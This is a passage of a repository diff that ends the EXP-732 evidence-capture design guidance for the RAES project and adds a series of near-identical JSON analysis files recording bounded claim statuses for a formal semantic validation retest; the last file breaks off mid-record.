state, loss disclosures, and + non-secret provenance refs. It must not carry credentials, bearer tokens, + private keys, hidden answer keys, prompts, raw trace payloads, environment + dumps, backend-private object reprs, full tracebacks, process argv, or raw + captured payloads. +- Config/env-binding surface: do not introduce a new environment, token, or + secret-binding shape. If runtime values contribute evidence, use existing + `RuntimeEnvironmentVariable` classification/provenance, `value`/`value_from` + exclusivity, and `runtime_values.enforce_observed_value_redaction`. Generated + values cannot claim `operator_secret`. Runtime fact inputs must pass + `RuntimeFactDeclarationModel` / `RuntimeFactVersionModel`, + `runtime_fact_binding_policy.validate_binding`, and value-free secret + projections from `RuntimeFactBindingPlane`; never serialize its private values. +- OS-level exposure: producers, fixtures, and CLIs must not pass tokens, + credentials, backend-private payloads, or large raw evidence content through + process arguments. Use content files, URIs, checksums, bounded summaries, and + synthetic fixtures. + URI/path fields are locators, not permission to access host files or network + endpoints. The caller supplies authorized immutable `BinaryIO` readers; + `evidence_satisfaction` must remain free of URI fetching and host-path search. + At any reader acquisition boundary enforce containment, link/race protection, + access scope and bounded reads; exclude credential-bearing/signed URLs from + portable refs. Fixed argv prevents shell injection but does not hide secrets. +- Error-envelope surface: validation failures should surface as Pydantic + errors or existing `Diagnostic` values; HTTP failures use the existing + redacted error envelope. `control_plane_api/_operation_routes.py` owns both + generic 422 and 500 responses; raw Pydantic error rendering can expose inputs. + CLI producers reuse `raes_cli.processor`'s sanitized summaries. Backend failure + observations reuse `raes_backend_libvirt._observability.record_suppressed_failure` + and portable diagnostics, never exception strings. Do not echo full run records, + evidence payloads, stderr, tracebacks, argv, secrets, or backend internals. +- Persistence surface: do not store the only copy of authored requirements, + realized source satisfaction, evidence records, or augmentation provenance in + `RuntimeSnapshot.metadata`, operation records, participant histories, audit + details, backend DTOs, raw logs, or free-form tags. Durable persistence, if + added later, must preserve schema-versioned experiment artifacts and refs. + Local operational archives already use `raes_operations.run_artifacts` + (`run_artifact_path`, `portable_artifact_ref`, `serialize_run_artifact`, + `atomic_write_json_artifact`). Its run-id check does not validate caller-supplied + subdirectories/filenames, enforce symlink containment, seal content, or make a + multi-file archive transactional; keep those path segments trusted and make + the retained byte/identity relationship explicit before a satisfaction claim. + Hash the retained bytes, not a differently serialized reconstruction. + Runtime retention uses `observation_results.prepare_observation_execution` + and the existing control-plane terminal transaction/store; local-store path + protections live in `control_plane_store_paths.py`. Reuse these where applicable, + preserving retry/recovery identity and avoiding publication of dangling refs. + The libvirt evidence-run artifact is an operational proof with explicit + structural/not-live limitations, not a substitute experiment-run contract. + +## Extension Boundary + +Use the existing run/capture/record/artifact relationships first; the private +validated binding in `evidence_satisfaction.py` already joins requirements to +records and artifacts. This preflight does not authorize a new persisted +satisfaction relation. Demonstrate a concrete unrepresentable relationship +before proposing a governed extension to the existing contracts. + +The useful seams are explicit capture-spec/record inputs, caller-owned immutable +artifact readers, and typed backend capture offers. Select backend capability, +source identity, artifact location, and governed redaction policy through those +inputs rather than backend-name branches. A new output format belongs at the +existing content/semantic-validator boundary. A future multi-source or chunked +capture must address the current one-record/global-requirement-id assumptions +there, retaining full identity and window/source/loss semantics; it must not +silently merge records in a producer or add another satisfaction engine. + +## Gotchas And Anti-Patterns + +- Do not treat authored evidence requirements, capture specs, backend + capability claims, traceability refs, or scenario-native observability + declarations as proof of capture. +- Do not treat an evidence artifact id as equivalent to an evidence record, + capture requirement, source ref, derived measure, or augmentation disclosure. +- Do not let backend logs, operation statuses, audit records, diagnostics, + participant histories, runtime snapshot metadata, or backend-native DTOs be + the only portable satisfaction carrier. +- Do not use `augmentation_disclosures` or `realized_form_disclosures` as + unstructured log lists. +- Do not duplicate schema registries, validators, reference resolvers, + exception hierarchies, persistence stacks, manifest renderers, logging/audit + pipelines, or workflow logic. +- Published schemas remain normative authority under ADR-009/ADR-061. A Python + generator change alone does not authorize a contract change. Any future + governed schema change must keep published schemas and `schema_bundle()` + identical, update fixtures/invariant metadata, and record hashes and + `last_change` in the affected `contracts/schema-publication/entries/.json`. + The root manifest is now a stable index; removals use `tombstones/`. + +## Verification And Workflow Boundaries + +Reuse `test_observability_evidence_conformance.py` and its published valid, +schema-invalid, and semantic-invalid augmentation fixtures; these exercise +different gates. `test_dsl_124_authored_evidence_requirements.py`, +`test_issue_1112_capture_admission.py`, and +`test_issue_1209_description_evidence.py` cover authored bindings, content proof, +and descriptive limits. Producer changes must also respect +`test_libvirt_evidence_run.py`, `test_libvirt_failure_observability.py`, and the +existing control-plane security/durability tests when those paths are touched. +Include absent/mismatched/version-conflicting sources, unsupported proof modes, +secret-bearing failures, and retry/partial archive cases in the owning suites; +do not count a descriptive fixture or adapter-authored reference as live evidence. + +The implementation uses `.ground-control.yaml` and `.gc/plan-rules.md` for repo +policy, requirement governance, generated-schema/publication/JSON checks and the +canonical verification workflow. Set `RAES_REQUIREMENT_UID=EXP-732` when needed. +Keep requirement traceability aligned with actual code/tests; this guidance +does not grant implementation coverage, change issue status, or authorize a merge. +The 2026-09-15 preflight check reports `requirement-policy-missing`: EXP-732 is +absent from `tools/policy/requirement_order.yaml`. Resolve this through existing +requirement governance before implementation completion; do not substitute an +unrelated UID or bypass the check. + +## Non-Goals + +- Implementing EXP-732 behavior, schema fields, validators, producers, + storage, APIs, fixtures, tests, or status changes in this preflight. +- Implementing runtime evidence capture, packet/log/trace collection, + retention, sealing, redaction execution, retrieval, schedulers, workers, or + background capture orchestration. +- Implementing derived-measure computation, evaluator behavior, statistical + analysis, study comparison, replay, or artifact dereference authorization. +- Replacing DSL-124, SEM-224, SEM-225, experiment-core contracts, apparatus + context, participant visibility contracts, control-plane security, + diagnostics, schema authority, concept authority, or Ground Control policy. diff --git a/docs/research/formal-semantic-validation/analysis-v17.json b/docs/research/formal-semantic-validation/analysis-v17.json new file mode 100644 index 000000000..510e6e9d0 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v17.json @@ -0,0 +1,141 @@ +{ + "analysis_id": "issue-342-analysis-v17", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v17.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-342-execution-v17", + "generated_at": "2026-09-15", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim." + ], + "plain_language_outcome": "The pinned RAES revision replays every retained v1 control and demonstrates the bounded finite-domain satisfiability and typed exploit-path claims with complete production evidence. Semantic, workflow, and compile-stability claims remain partial, and counterfactual necessity remains untested.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v18.json b/docs/research/formal-semantic-validation/analysis-v18.json new file mode 100644 index 000000000..ab8b5f8ab --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v18.json @@ -0,0 +1,142 @@ +{ + "analysis_id": "issue-1241-analysis-v18", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v18.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1241-execution-v18", + "generated_at": "2026-09-15", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations." + ], + "plain_language_outcome": "The pinned RAES revision replays every retained v1 control and demonstrates the bounded finite-domain satisfiability and typed exploit-path claims with complete production evidence. Semantic, workflow, and compile-stability claims remain partial, and counterfactual necessity remains untested.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v19.json b/docs/research/formal-semantic-validation/analysis-v19.json new file mode 100644 index 000000000..d0a93e8ba --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v19.json @@ -0,0 +1,143 @@ +{ + "analysis_id": "issue-1237-analysis-v19", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v19.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1237-execution-v19", + "generated_at": "2026-09-15", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus." + ], + "plain_language_outcome": "The pinned RAES revision replays every retained v1 control and demonstrates the bounded finite-domain satisfiability and typed exploit-path claims with complete production evidence. Semantic, workflow, and compile-stability claims remain partial, and counterfactual necessity remains untested.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v20.json b/docs/research/formal-semantic-validation/analysis-v20.json new file mode 100644 index 000000000..f4d83422e --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v20.json @@ -0,0 +1,144 @@ +{ + "analysis_id": "issue-1237-analysis-v20", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v20.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 2, + "claim_class_id": "determinism-stability", + "evidence_status": "partial", + "limitations": [ + "Partial parse-to-compile repeatability only; runtime and backend determinism are untested." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "counterfactual-necessity", + "evidence_status": "untested", + "limitations": [ + "Untested because no governed intervention or ablation entrypoint ran." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 0, + "unsupported_case_count": 2 + } + ], + "corpus_revision": "3.0.0", + "evidence_status": "partial", + "execution_id": "issue-1237-execution-v20", + "generated_at": "2026-09-15", + "limitations": [ + "Satisfiability is limited to raes-finite-domain-satisfiability-v1 and its exact translation, theory, and Z3 configuration.", + "The subset-minimal unsatisfiable core is not a universal proof certificate.", + "Exploit-path results are limited to the admitted snapshot, normalized graph, query, transition semantics, and bounded search profile.", + "A valid path is not backend execution and an invalid path is not real-world non-exploitability.", + "The production exploit-path JSON loader permits duplicate keys; the research loader rejects them without claiming stronger production behavior.", + "Participant replay inherits the host environment and is not described as hermetic.", + "Counterfactual necessity remains untested.", + "Scoped observation demand is not a claim class in this preregistration and is not promoted to demonstrated by this retest.", + "EXP-732 provenance joins are verified by their dedicated regression suite; this retained corpus makes no universal run, apparatus, source, or augmentation assurance claim.", + "This retained corpus does not establish native backend attestation fidelity; materialization contract checks remain separate operational provenance, not experimental observations.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus.", + "Capture admission and evidence-proof authority are verified by issue-1237 regression tests, not promoted to a new claim class by this retained corpus." + ], + "plain_language_outcome": "The pinned RAES revision replays every retained v1 control and demonstrates the bounded finite-domain satisfiability and typed exploit-path claims with complete production evidence. Semantic, workflow, and compile-stability claims remain partial, and counterfactual necessity remains untested.", + "protocol_revision": "2.0.0" +} diff --git a/docs/research/formal-semantic-validation/analysis-v21.json b/docs/research/formal-semantic-validation/analysis-v21.json new file mode 100644 index 000000000..285032763 --- /dev/null +++ b/docs/research/formal-semantic-validation/analysis-v21.json @@ -0,0 +1,144 @@ +{ + "analysis_id": "issue-341-analysis-v21", + "claim": { + "allowed_evidence": [ + "production parser and semantic-validator results", + "canonical compiled digests", + "participant contract regression tests", + "pinned protocol, corpus, and execution snapshot" + ], + "claim_id": "asr-530-formal-semantic-validation-retest", + "disallowed_evidence": [ + "schema success as semantic proof", + "workflow reachability as network or exploit reachability", + "FM labels as gate outcomes", + "attribution as counterfactual proof", + "formal prose or maintainer confidence alone" + ], + "evidence_artifacts": [ + "docs/research/formal-semantic-validation/protocol-v2.json", + "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "docs/research/formal-semantic-validation/execution-snapshot-v21.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json" + ], + "falsification_protocol": "Replay every retained and new case through its production entrypoint, require complete digest and evidence joins, execute participant fixtures, and derive status from the recorded outcomes.", + "objective_fail_criteria": "A supported negative passes, a positive fails, an observation drifts, a required participant case is missing, or weaker evidence is promoted to solver, exploit-path, runtime-stability, or counterfactual assurance.", + "objective_pass_criteria": "Every claim class has positive and negative cases, all supported cases reproduce the frozen outcome, every participant obligation has passing positive and negative fixtures, and unsupported classes remain untested.", + "statement": "At the recorded source-state digest, the retained RAES controls have the bounded statuses recorded here; historical releases are integrity evidence, not current replay evidence.", + "threats_to_validity": [ + "The issue-specific corpus is intentionally small and does not enumerate every validator invariant.", + "The participant fixtures exercise reference production contracts and tests, not every independent backend realization.", + "The replay gate runs on one Python reference configuration and one pinned RAES revision.", + "Unsupported solver-level classes have protocol cases but no executable observations." + ] + }, + "claim_results": [ + { + "case_count": 2, + "claim_class_id": "schema-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Bounded to the named source/model structural controls." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "semantic-consistency", + "evidence_status": "partial", + "limitations": [ + "Partial coverage of named static semantics and participant obligations, not universal consistency." + ], + "matching_case_count": 4, + "participant_obligation_count": 7, + "replayable_case_count": 4, + "unsupported_case_count": 0 + }, + { + "case_count": 2, + "claim_class_id": "graph-reachability", + "evidence_status": "partial", + "limitations": [ + "Partial workflow control-flow reachability only; not network, service, or exploit reachability." + ], + "matching_case_count": 2, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 0 + }, + { + "case_count": 4, + "claim_class_id": "constraint-satisfiability", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for raes-finite-domain-satisfiability-v1 and its pinned solver configuration." + ], + "matching_case_count": 4, + "participant_obligation_count": 0, + "replayable_case_count": 2, + "unsupported_case_count": 2 + }, + { + "case_count": 4, + "claim_class_id": "exploit-path-validity", + "evidence_status": "demonstrated", + "limitations": [ + "Demonstrated only for the admitted snapshot, typed graph, query, semantics, and bounded search profile." + ], + "matching_case_count": 